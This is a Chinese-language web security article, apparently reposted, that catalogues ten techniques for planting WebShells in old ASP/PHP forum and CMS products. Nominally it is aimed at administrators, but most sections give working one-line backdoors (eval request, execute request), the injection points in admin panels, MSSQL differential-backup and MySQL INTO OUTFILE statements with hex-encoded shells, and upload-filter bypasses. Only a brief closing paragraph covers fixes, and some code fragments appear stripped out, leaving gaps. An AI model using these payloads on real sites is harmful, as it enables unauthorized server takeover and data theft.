游乐游手机版
首页/网络安全/文章详情

WebShell获取方法总结:十种常见方式详解

时间:2026-08-14 19:42
在攻防实战中,黑客入侵企业网站的第一步往往是获取WebShell——拿到网站的控制权,后续的渗透、提权、数据窃取才能展开。对于网络管理员来说,只有真正了解攻击者是如何拿到这个“入口”的,才能在防御时做到心中有数。本文梳理了十种常见的获取WebShell的途径,每一种都对应着特定的漏洞场景或配置缺陷,

在攻防实战中,黑客入侵企业网站的第一步往往是获取WebShell——拿到网站的控制权,后续的渗透、提权、数据窃取才能展开。对于网络管理员来说,只有真正了解攻击者是如何拿到这个“入口”的,才能在防御时做到心中有数。本文梳理了十种常见的获取WebShell的途径,每一种都对应着特定的漏洞场景或配置缺陷,希望能帮助运维团队有针对性地加固。

一、直接上传获取WebShell

这是最直接的一种方式,常见于PHP和JSP程序中。比如早年MolyX BOARD的心情图标管理功能,上传一个PHP文件没有任何提示,但文件已经成功落到了images/smiles/目录下。联众游戏站和网易的JSP系统漏洞也曾允许直接上传JSP文件,文件名保持不变。Bo-blog的后台更是直接允许上传PHP文件,路径会明确提示。更经典的例子是动网5.0和6.0的upfile.asp漏洞——上传模块没有对文件类型做严格过滤,攻击者可以直接上传任意后缀的脚本文件到可写目录,从而拿到管理员权限。

二、添加修改上传类型

很多脚本程序的上传模块虽然限制了合法文件类型,但后台却允许管理员自行添加上传后缀。比如BBSXP后台可以添加asa|asP类型,Ewebeditor后台可以添加asa类型,添加后就能直接上传.asa后缀的WebShell。还有一种特殊情况:系统过滤了.asp,但允许添加.aspasp这样的类型,上传后依然能解析。PHP系统后台可以添加.php.g1f这样的后缀,PHP会将php.g1f当作.php来执行,只要最后一个“点”后面的不是已知文件类型即可。LeadBbs 3.14的后台,可以在上传类型中增加asp (注意后面带空格),然后在前台上传一个同样带空格的ASP马,就能成功拿到Shell。

三、利用后台管理功能写入WebShell

当上传漏洞被补得差不多后,进入后台后还可以通过修改配置文件或功能模块来写入WebShell。典型例子是DVBBS 6.0和LeadBBS 2.88,直接在后台修改配置文件,写入后缀为.asp的文件。LeadBbs 3.14的另一种玩法是:添加一个新的友情链接,在“网站名称”处填入冰狐最小马(前后随便加些字符),提交后Shell就生成了,路径为https://网站/inc/IncHtm/BoardLink.asp。

四、利用后台管理向配置文件写WebShell

利用"、:、//等符号构造最小马,写入程序的配置文件。Joekoe论坛、某某同学录、沸腾展望新闻系统、COCOON Counter统计程序等很多PHP程序都存在这种问题。以COCOON Counter为例,在管理邮箱处填入cnhacker@263.net":eval request(chr(35))//,配置文件里就会变成webmail="cnhacker@263.net\":eval request(chr(35))//"。另一种写法是cnhacker@263.net"%><%eval request(chr(35))%><%',这样前后闭合,最小马就能运行。再如动易2005,在文章中心管理→顶部菜单设置→菜单其它特效中,插入一句话马"%><%execute request("l")%><%',保存后Shell地址就是https://网站/admin/rootclass_menu_config.asp。

五、利用后台数据库备份及恢复获取WebShell

后台的“备份数据库”或“恢复数据库”功能,如果对“备份的数据库路径”等变量没有过滤,就可以把任意文件后缀改为.asp,从而得到WebShell。MSSQL版程序如果直接套用了Access版的代码,也会存在同样问题。反过来,还可以把网站ASP文件备份为.txt,查看源代码获取更多信息,比如数据库路径,为后续数据库插马创造机会。动网论坛有一个IP地址的数据库,在后台的IP管理中可以插入最小马,然后备份成.asp文件。关于突破上传检测:很多ASP程序即使改了后缀也会提示非法,可以在ASP文件头加上gif89a,修改后缀为.gif来骗过检测;或者用记事本打开图片文件,复制一部分到ASP木马文件头,再改后缀上传,最后备份为.asp即可。

六、利用数据库压缩功能

有些程序的数据库压缩功能可以解除防下载限制,使插入数据库的最小马成功运行。典型例子是loveyuki的L-BLOG,在友情链接的URL处写入<%eval request(chr(35))%>,提交后到数据库操作中压缩数据库,压缩出来的文件是.asp,用海洋的最小马eval客户端连接就能拿到WebShell。

七、asp+mssql系统

以动网MSSQL版为例,可以通过本地提交表单来备份。首先在发帖处上传一个写有ASP代码的假图片,记住路径。然后写一个本地提交表单,代码类似:

已上传文件的位置:

要复制到的位置:

,保存为.htm本地执行。把假图片路径填在“已上传文件的位置”,要备份的WebShell相对路径填在“要复制到的位置”,提交即可。如果没有后台执行MSSQL命令的强大功能,动网的数据库还原和备份往往只是个摆设,不能执行SQL命令备份WebShell,只能执行简单查询。这时可以利用MSSQL注入差异备份WebShell,前提是后台显示了绝对路径,且有注入点。差异备份的主要语句:

;declare @a sysname,@s varchar(4000) select @a=db_name(),@s=0x626273 backup database @a to disk=@s——
;Drop table [heige];create table [dbo].[heige] ([cmd] [image])——
;insert into heige(cmd) values(0x3C2565786563757465207265717565737428226C2229253E)——
;declare @a sysname,@s varchar(4000) select @a=db_name(),@s=0x643A5C7765625C312E617370 backup database @a to disk=@s WITH DIFFERENTIAL,FORMAT——

其中0x626273是库名bbs的十六进制,0x3C2565786563757465207265717565737428226C2229253E是<%execute request("l")%>的十六进制,0x643A5C7765625C312E617370是d:\web\1.asp的十六进制。差异备份成功率较高,且能极大减小备份文件大小,避免因防下载表或错误代码导致Shell失效。

八、php+mysql系统

后台如果有MySQL数据查询功能,可以利用SELECT ... INTO OUTFILE查询导出PHP文件。首先通过正常手段把WebShell代码插入MySQL,再导出。例如在MySQL操作里输入:select 0x3C3F6576616C28245F504F53545B615D293B3F3E from mysql.user into outfile '路径',得到的最小马。这种方法对phpMyAdmin比较普遍,先利用路径泄露漏洞爆出绝对路径。注意Windows系统下路径要写成d:\\wwwroot\\a.php。另一种常用方法:

CREATE TABLE a (cmd text NOT NULL)
INSERT INTO a (cmd) VALUES('")?>')
select cmd from a into outfile '路径/b.php'
DROP TABLE IF EXISTS a

访问b.php就会生成一个的最小马。如果遇到可以执行PHP命令的后台,比如BO-BLOG,在后台的PHP命令框输入:

");fclose($sa);?>

会在up目录下生成saiy.php,内容为,用lanker客户端连接即可。实际运用中要确认文件夹是否有写权限。

九、phpwind论坛从后台到webshell的三种方式

方式1:模板法 进入后台→风格模版设置,在任意一行写代码,代码必须顶在行首,前面不能有任何字符:EOT;eval($a);print <<,然后访问https://网站/bbs/index.php即可得到Shell。

方式2:脏话过滤法 进入安全管理→不良词语过滤,新增不良词语写a']='aa';eval($_POST['a']);//,替换为随意写,然后访问https://网站/bbs/data/bbscache/wordsfb.php。

方式3:用户等级管理 新建会员组,头衔不要写单双引号特殊符号,升级图片号写a';eval($_POST['a']);//,升级点数随意,然后访问https://网站/bbs/data/bbscache/level.php。以上三种方式得到的Shell密码均为a,是lanker的一句话后门服务端。

十、利用网站访问计数系统记录来获取WebShell

最典型的例子是某私服程序内的阿江计数程序。通过https://网站/stat.asp?style=text&referer=代码内容&screenwidth=1024直接提交,即可将代码内容插入计数系统数据库。该数据库默认名为count#.asa,访问https://网站/count%23.asa即可得到WebShell。由于阿江计数程序过滤了%和+,需要将最小马改成,然后替换代码内容提交,用lake2的eval客户端连接。如果进入计数后台,还可以清理某时某刻的数据,插入失败后重新操作。

解决方案方面,由于涉及代码版本众多,无法提供统一修复。有能力者可以针对文中提到的漏洞文件进行修补,如果不影响系统使用,也可以直接删除。如果不会修补,建议到相关官方网站下载最新补丁。同时,时刻关注各大安全平台发布的最新公告,自己发现漏洞也要及时通知官方。

从后台获取WebShell的技巧远不止这十种,关键在于灵活运用、触类旁通。希望本文能起到抛砖引玉的作用,帮助管理员在实战中更好地保护服务器。

来源:https://www.jb51.net/hack/381344.html
上一篇DNS欺骗攻击原理、常见手法及防护方法 下一篇服务器远程执行漏洞修复方法与安全加固指南
本站内容用于信息整理与展示,如有侵权或内容问题请及时联系处理。

相关推荐

补充同频道和同主题内容,方便继续浏览更多相关内容。

同类最新

继续查看同栏目最近更新的文章。

更多
DDoS攻击的三大主要形式:原理、特征与防御重点
网络安全 · 2026-08-31

DDoS攻击的三大主要形式:原理、特征与防御重点

DDoS攻击主要分为基于流量(Volume)、基于应用层(Application)和基于协议(Protocol)三种形式。流量型攻击通过海量数据淹没带宽;应用层攻击利用Web漏洞耗尽服务器资源;协议层攻击则利用TCP握手缺陷导致系统挂起。了解这些原理是制定针对性防御策略的基础。

如何有效预防和缓解DDoS攻击:5大核心策略详解
网络安全 · 2026-08-31

如何有效预防和缓解DDoS攻击:5大核心策略详解

面对DDoS攻击,单纯增加带宽已非长久之计。本文详解5大核心防护策略:优化网络硬件配置、建立DNS冗余机制、部署透明缓解技术、引入负载平衡器及专用Anti-DDoS模块。通过合理组合这些技术手段,可有效抵御SYN泛洪、Slowloris等常见攻击,保障业务连续性与网站可用性。

DDoS防护四大误区:CDN、防火墙与黑名单的局限性解析
网络安全 · 2026-08-31

DDoS防护四大误区:CDN、防火墙与黑名单的局限性解析

许多企业误以为CDN、防火墙或黑名单能完全抵御DDoS攻击。本文深入解析四大常见误区:CDN仅提供部分缓解、静态黑名单易失效、防火墙算力有限且可能成为目标、阈值警报仅具滞后性。了解这些局限性,有助于构建更立体的防御体系,避免在攻击发生时措手不及。

常见DDoS攻击类型详解:原理、特征与防御策略
网络安全 · 2026-08-31

常见DDoS攻击类型详解:原理、特征与防御策略

本文详细解析四种常见DDoS攻击类型:SYN Flood利用TCP三次握手缺陷耗尽资源;UDP Flood通过海量数据包造成带宽拥塞;ICMP Flood利用Ping请求消耗系统算力;应用层Flood针对Web脚本进行高频请求。了解其原理是制定有效防御策略的基础。

如何有效抵御DDOS攻击:4种核心防护方案解析
网络安全 · 2026-08-31

如何有效抵御DDOS攻击:4种核心防护方案解析

面对DDOS攻击,企业需构建多层防护体系。本文详解四大核心策略:利用反向路由器查询进行流量清洗,通过GCDN智能分配节点隐藏源站IP,部署负载均衡硬件分担压力,以及接入高防机房抵御数百G恶意流量。掌握这些技术,可最大程度保障业务连续性。